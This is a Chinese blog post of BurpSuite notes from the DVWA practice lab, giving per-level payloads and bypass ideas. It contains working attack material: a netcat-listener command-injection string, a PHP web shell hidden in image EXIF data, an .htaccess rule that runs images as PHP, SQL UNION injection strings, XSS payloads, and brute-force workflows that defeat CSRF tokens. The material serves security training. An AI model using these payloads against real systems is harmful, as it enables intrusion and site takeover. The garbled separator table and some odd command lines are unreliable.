当前位置：首页 > news >正文

DVWA靶场通关后，我整理了这份BurpSuite实战笔记（附各关卡Payload与绕过思路）

news 2026/5/5 5:04:19

DVWA靶场BurpSuite实战手册：从Payload构造到企业级漏洞挖掘

第一次在DVWA靶场里看到"Impossible"难度时，我盯着那个红色标签笑了——在真实渗透测试中，哪有所谓的"不可能"？三年前刚接触Web安全时，我也像大多数人一样按部就班地跟着教程点按钮，直到某次红队行动中面对自定义WAF束手无策，才意识到靶场训练的价值不在于通关，而在于培养突破思维定式的能力。这份笔记记录了我用BurpSuite反复折磨DVWA靶场后沉淀的十四种武器库，重点不是复现漏洞，而是教你像攻击者一样思考。

1. 暴力破解的工程化实践

传统教程教你用Cluster Bomb模式爆破，但实战中会遇到验证码、速率限制等层层防御。在High级别遇到CSRF Token时，试试这个工作流：

POST /dvwa/login.php HTTP/1.1 Host: target.com ... username=§admin§&password=§123456§&user_token=§d8a7b6c4§

Token处理技巧：
- 在Intruder的Resource Pool设置请求间隔为3秒
- 使用Recursive Grep提取token时，添加正则表达式：name="user_token" value="([a-f0-9]{8})"
- 对password字段采用Pitchfork模式，与token保持同步

智能字典构建：

# 生成变形密码字典 base = ["admin","password"] mutations = [f"{word}{i}" for word in base for i in range(1900,2023)] print("\n".join(mutations))

失败请求自动重试：
- 配置Macros在收到403响应时自动获取新token
- 在Session Handling Rules中添加规则：当检测到Invalid token时触发宏

2. 命令注入的绕过艺术

当分号、管道符被过滤时，Linux/Windows系统存在这些替代方案：

分隔符类型	Linux有效字符	Windows有效字符
命令终止符	`%0a%0d`	`%0a%1a`
多命令执行	`
注释符号	`#`	`::`

实战案例：在High级别限制所有常见分隔符时，使用参数注入：

GET /vulnerabilities/exec/?ip=127.0.0.1${IFS}||${LS_COLORS:0:1}nc${IFS}-lvp${IFS}4444

注意：BurpSuite的Decoder模块可快速生成各种编码变体，尝试Ctrl+Shift+H进行HTML实体编码

3. 高级SQL注入自动化

利用BurpSuite的Scanner模块自动检测注入点：

配置Live Scanning的Insertion Points：

{ "query_parameters": { "scanning_scope": "all", "parameter_values": ["'","1'","1'-- -"] } }

对检测到的注入点使用SQLiPy插件：

# 自动提取数据库结构 def get_tables(): return "1' UNION SELECT table_name,2 FROM information_schema.tables-- -"

时间盲注自动化：
- 在Intruder中使用Time-based攻击类型
- 设置Grep - Extract捕获响应时间差异
- 配置<@time_diff_500ms>条件判断延迟

4. 文件上传的终极绕过

当遇到Impossible级别的检测时，尝试这些技巧：

技巧组合拳：

使用Content-Type: image/png头
在文件开头添加GIF魔术字节GIF89a

利用Exif注释插入PHP代码：

exiftool -Comment='<?php system($_GET[0]); ?>' image.png

通过.htaccess覆盖解析规则：
```
AddType application/x-httpd-php .png
```

BurpSuite自动化：

在Proxy>Options>Match and Replace中添加规则：

Match: ^Content-Disposition:.*\.php$ Replace: Content-Disposition: form-data; name="file"; filename="shell.png"

使用Intruder批量测试文件幻数

5. XSS的现代绕过技术

当CSP策略限制脚本执行时，这些方法依然有效：

DOM型XSS：

// 利用AngularJS沙箱逃逸 {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)')}}

存储型XSS：

<svg/onload=eval(atob('YWxlcnQoJ1hTUycp'))>

BurpSuite辅助：

使用DOM Invader插件识别DOM XSS

配置Active Scan的XSS检查策略：

{ "xss_vectors": ["<svg/onload=", "javascript:alert()"], "encoding_types": ["URL", "HTML"] }

6. 企业级漏洞挖掘心法

真正的安全测试远不止于DVWA中的技巧，还需要：

业务逻辑漏洞挖掘：
- 测试订单金额参数时尝试-1、0.01、999999999
- 修改User-Agent为Googlebot观察响应差异
- 使用Burp Collaborator检测盲SSRF

API安全测试流程：

GET /api/v1/users/123 HTTP/1.1 Host: target.com Authorization: Bearer §eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c§